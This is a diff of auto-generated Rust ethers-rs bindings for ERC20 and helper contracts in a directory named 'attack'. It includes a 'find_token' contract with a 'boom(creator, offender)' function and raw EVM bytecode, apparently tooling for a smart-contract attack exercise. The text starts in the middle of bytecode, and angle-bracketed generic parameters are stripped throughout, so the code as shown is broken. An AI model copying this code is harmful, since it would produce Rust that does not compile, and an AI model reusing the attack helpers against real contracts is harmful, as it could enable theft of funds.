`\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01R\x7F zero\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\xC5\x82\x86\x86\x84\x03a\x04\x0FV[`\x003a\x02\xA0\x81\x85\x85a\x06\x99V[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x04\xB1W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01R\x7Fress\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x03\xEBV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16a\x05TW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01R\x7Fss\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x03\xEBV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x86\x16\x83R\x92\x90R T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x14a\x06\x93W\x81\x81\x10\x15a\x06\x86W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x03\xEBV[a\x06\x93\x84\x84\x84\x84\x03a\x04\x0FV[PPPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x07(::ethers::contract::Contract); - impl ::core::clone::Clone for ERC20 { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for ERC20 { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for ERC20 { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for ERC20 { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(ERC20)) - .field(&self.address()) - .finish() - } - } - impl ERC20 { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - ERC20_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - ERC20_ABI.clone(), - ERC20_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `allowance` (0xdd62ed3e) - /// function - pub fn allowance( - &self, - owner: ::ethers::core::types::Address, - spender: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([221, 98, 237, 62], (owner, spender)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `approve` (0x095ea7b3) - /// function - pub fn approve( - &self, - spender: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([9, 94, 167, 179], (spender, amount)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `balanceOf` (0x70a08231) - /// function - pub fn balance_of( - &self, - account: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([112, 160, 130, 49], account) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `decimals` (0x313ce567) - /// function - pub fn decimals( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([49, 60, 229, 103], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `decreaseAllowance` - /// (0xa457c2d7) function - pub fn decrease_allowance( - &self, - spender: ::ethers::core::types::Address, - subtracted_value: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([164, 87, 194, 215], (spender, subtracted_value)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `increaseAllowance` - /// (0x39509351) function - pub fn increase_allowance( - &self, - spender: ::ethers::core::types::Address, - added_value: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([57, 80, 147, 81], (spender, added_value)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `name` (0x06fdde03) - /// function - pub fn name( - &self, - ) -> ::ethers::contract::builders::ContractCall - { - self.0 - .method_hash([6, 253, 222, 3], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `symbol` (0x95d89b41) - /// function - pub fn symbol( - &self, - ) -> ::ethers::contract::builders::ContractCall - { - self.0 - .method_hash([149, 216, 155, 65], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `totalSupply` (0x18160ddd) - /// function - pub fn total_supply( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([24, 22, 13, 221], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transfer` (0xa9059cbb) - /// function - pub fn transfer( - &self, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([169, 5, 156, 187], (to, amount)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transferFrom` (0x23b872dd) - /// function - pub fn transfer_from( - &self, - from: ::ethers::core::types::Address, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([35, 184, 114, 221], (from, to, amount)) - .expect("method not found (this should never happen)") - } - ///Gets the contract's `Approval` event - pub fn approval_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - ApprovalFilter, - > { - self.0.event() - } - ///Gets the contract's `Transfer` event - pub fn transfer_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - TransferFilter, - > { - self.0.event() - } - /// Returns an `Event` builder for all the events of - /// this contract. - pub fn events( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - ERC20Events, - > { - self.0.event_with_filter(::core::default::Default::default()) - } - } - impl - From<::ethers::contract::Contract> for ERC20 - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Approval", abi = "Approval(address,address,uint256)")] - pub struct ApprovalFilter { - #[ethevent(indexed)] - pub owner: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub spender: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Transfer", abi = "Transfer(address,address,uint256)")] - pub struct TransferFilter { - #[ethevent(indexed)] - pub from: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub to: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - ///Container type for all of the contract's events - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum ERC20Events { - ApprovalFilter(ApprovalFilter), - TransferFilter(TransferFilter), - } - impl ::ethers::contract::EthLogDecode for ERC20Events { - fn decode_log( - log: &::ethers::core::abi::RawLog, - ) -> ::core::result::Result { - if let Ok(decoded) = ApprovalFilter::decode_log(log) { - return Ok(ERC20Events::ApprovalFilter(decoded)); - } - if let Ok(decoded) = TransferFilter::decode_log(log) { - return Ok(ERC20Events::TransferFilter(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData) - } - } - impl ::core::fmt::Display for ERC20Events { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::ApprovalFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for ERC20Events { - fn from(value: ApprovalFilter) -> Self { Self::ApprovalFilter(value) } - } - impl ::core::convert::From for ERC20Events { - fn from(value: TransferFilter) -> Self { Self::TransferFilter(value) } - } - ///Container type for all input parameters for the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "allowance", abi = "allowance(address,address)")] - pub struct AllowanceCall { - pub owner: ::ethers::core::types::Address, - pub spender: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "approve", abi = "approve(address,uint256)")] - pub struct ApproveCall { - pub spender: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balanceOf", abi = "balanceOf(address)")] - pub struct BalanceOfCall { - pub account: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `decimals` function with signature `decimals()` and - /// selector `0x313ce567` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "decimals", abi = "decimals()")] - pub struct DecimalsCall; - ///Container type for all input parameters for the - /// `decreaseAllowance` function with signature - /// `decreaseAllowance(address,uint256)` and selector - /// `0xa457c2d7` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "decreaseAllowance", - abi = "decreaseAllowance(address,uint256)" - )] - pub struct DecreaseAllowanceCall { - pub spender: ::ethers::core::types::Address, - pub subtracted_value: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `increaseAllowance` function with signature - /// `increaseAllowance(address,uint256)` and selector - /// `0x39509351` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "increaseAllowance", - abi = "increaseAllowance(address,uint256)" - )] - pub struct IncreaseAllowanceCall { - pub spender: ::ethers::core::types::Address, - pub added_value: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `name` function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "name", abi = "name()")] - pub struct NameCall; - ///Container type for all input parameters for the - /// `symbol` function with signature `symbol()` and - /// selector `0x95d89b41` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "symbol", abi = "symbol()")] - pub struct SymbolCall; - ///Container type for all input parameters for the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "totalSupply", abi = "totalSupply()")] - pub struct TotalSupplyCall; - ///Container type for all input parameters for the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "transfer", abi = "transfer(address,uint256)")] - pub struct TransferCall { - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "transferFrom", - abi = "transferFrom(address,address,uint256)" - )] - pub struct TransferFromCall { - pub from: ::ethers::core::types::Address, - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum ERC20Calls { - Allowance(AllowanceCall), - Approve(ApproveCall), - BalanceOf(BalanceOfCall), - Decimals(DecimalsCall), - DecreaseAllowance(DecreaseAllowanceCall), - IncreaseAllowance(IncreaseAllowanceCall), - Name(NameCall), - Symbol(SymbolCall), - TotalSupply(TotalSupplyCall), - Transfer(TransferCall), - TransferFrom(TransferFromCall), - } - impl ::ethers::core::abi::AbiDecode for ERC20Calls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Allowance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Approve(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::BalanceOf(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Decimals(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::DecreaseAllowance(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::IncreaseAllowance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Name(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Symbol(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TotalSupply(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Transfer(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TransferFrom(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for ERC20Calls { - fn encode(self) -> Vec { - match self { - Self::Allowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Approve(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::BalanceOf(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Decimals(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::DecreaseAllowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::IncreaseAllowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Name(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Symbol(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TotalSupply(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Transfer(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TransferFrom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for ERC20Calls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Allowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Approve(element) => ::core::fmt::Display::fmt(element, f), - Self::BalanceOf(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Decimals(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::DecreaseAllowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::IncreaseAllowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Name(element) => ::core::fmt::Display::fmt(element, f), - Self::Symbol(element) => ::core::fmt::Display::fmt(element, f), - Self::TotalSupply(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Transfer(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFrom(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: AllowanceCall) -> Self { Self::Allowance(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: ApproveCall) -> Self { Self::Approve(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: BalanceOfCall) -> Self { Self::BalanceOf(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: DecimalsCall) -> Self { Self::Decimals(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: DecreaseAllowanceCall) -> Self { - Self::DecreaseAllowance(value) - } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: IncreaseAllowanceCall) -> Self { - Self::IncreaseAllowance(value) - } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: NameCall) -> Self { Self::Name(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: SymbolCall) -> Self { Self::Symbol(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: TotalSupplyCall) -> Self { Self::TotalSupply(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: TransferCall) -> Self { Self::Transfer(value) } - } - impl ::core::convert::From for ERC20Calls { - fn from(value: TransferFromCall) -> Self { Self::TransferFrom(value) } - } - ///Container type for all return fields from the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct AllowanceReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct ApproveReturn(pub bool); - ///Container type for all return fields from the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceOfReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `decimals` function with signature `decimals()` and - /// selector `0x313ce567` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct DecimalsReturn(pub u8); - ///Container type for all return fields from the - /// `decreaseAllowance` function with signature - /// `decreaseAllowance(address,uint256)` and selector - /// `0xa457c2d7` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct DecreaseAllowanceReturn(pub bool); - ///Container type for all return fields from the - /// `increaseAllowance` function with signature - /// `increaseAllowance(address,uint256)` and selector - /// `0x39509351` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct IncreaseAllowanceReturn(pub bool); - ///Container type for all return fields from the `name` - /// function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct NameReturn(pub ::std::string::String); - ///Container type for all return fields from the - /// `symbol` function with signature `symbol()` and - /// selector `0x95d89b41` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct SymbolReturn(pub ::std::string::String); - ///Container type for all return fields from the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TotalSupplyReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferReturn(pub bool); - ///Container type for all return fields from the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferFromReturn(pub bool); -} diff --git a/attack/src/abi/example.rs b/attack/src/abi/example.rs index 3e92506..2ada5ee 100644 --- a/attack/src/abi/example.rs +++ b/attack/src/abi/example.rs @@ -45,12 +45,12 @@ pub mod example { pub static EXAMPLE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90U`\xAB\x80a\x000`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14`-W[`\0\x80\xFD[`\0T`L\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3\xFE\xA2dipfsX\"\x12 \xD3\xF6\xCD\xDF\xC7u\x0B\x02\x98\x97\xDD\x85\x87\xD0\xE8\x85\n\xD9O\x06>\xBB\xE4\x8D\xF7\x9E\xB5\x9BB\x80\xCE\xBB\xE4\x8D\xF7\x9E\xB5\x9BB\x80\xCE -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod find_token { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("boom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("boom"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("creator"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("offender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static FINDTOKEN_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x02\x8F\x80a\x002`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x04\xFA\xBA;\x14a\0;W\x80c\x8D\xA5\xCB[\x14a\0PW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02 V[a\0\x99V[\0[`\0Ta\0p\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`@Q\x7F\xD6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0` \x82\x01R\x7F\x94\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`!\x82\x01R\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0``\x84\x90\x1B\x16`\"\x82\x01R\x7F\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`6\x82\x01R`\0\x90`7\x01`@\x80Q\x80\x83\x03\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x01\x81R\x90\x82\x90R\x80Q` \x90\x91\x01 